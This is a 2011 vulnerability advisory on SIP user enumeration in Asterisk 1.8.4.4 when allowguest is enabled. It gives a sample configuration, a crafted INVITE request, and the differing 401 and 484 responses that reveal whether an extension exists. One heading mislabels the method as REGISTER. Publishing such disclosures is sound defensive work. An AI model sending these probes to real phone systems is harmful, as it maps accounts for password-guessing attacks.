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Asterisk 1.8.x SIP User Enumeration

Asterisk 1.8.x SIP User Enumeration
Posted Jun 30, 2011
Authored by Francesco Tornieri

The INVITE method in use by Asterisk version 1.8.4.4 allows for remote user enumeration.

tags | exploit, remote
SHA-256 | c8d09e1a6bc234ffc02445e7446b5216f7017ea2bb2d57463d5af6d921a8ff5c

Asterisk 1.8.x SIP User Enumeration

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Asterisk 1.8.4.4, sip response permit username identification through use INVITE 

Author: francesco.tornieri \"At\" verona-wireless.net
Summary: Sip responses permit user identification
Reference: http://downloads.asterisk.org/pub/security/AST-2011-011.pdf
Release Date: 30/06/2011
Criticality level: Low
Impact: Information leak
Software: Asterisk 1.8.4.4

Description:
In the last release (1.8.4.4) the Digium's developers have added a patch to mitigate extensions enumeration but it's still possible to enumerate it through use of craft INVITE method (it's only work if "allowguest=yes").

Example:
PBX Asterisk:
----------
sip.conf
----------
[general]
context=outgoing
port=5060
bindaddr=127.0.0.1
realm=asterisk
allowguest=yes <----
alwaysauthreject=yes <----

[template](!)
type=friend
canreinvite=no
host=dynamic
qualify=1000
disallow=all
allow=g729

[500](template)
callerid=phone200<500>
username=500
secret=password

------------------------
Craft Sip INVITE example
------------------------
INVITE sip:500@127.0.0.1 SIP/2.0
CSeq: 123 INVITE
Via: SIP/2.0/UDP 127.0.0.1:5060;branch=z9hG4bK78adb2cd-0671-e011-81a1-a1816009ca7a;rport
From: <sip:500@127.0.0.1>;tag=642d29cd-0671-e011-81a1-a1816009ca7a
Call-ID: 571579d6e5814dff04ac7cd42672738f
To: <sip:500@127.0.0.1>

----------------
Method: REGISTER
----------------
Valid user (user 500)
Response:
---
SIP/2.0 401 Unauthorized
---

Invalid user (user 501)
Response:
---
SIP/2.0 484 Address Incomplete
---

Francesco Tornieri
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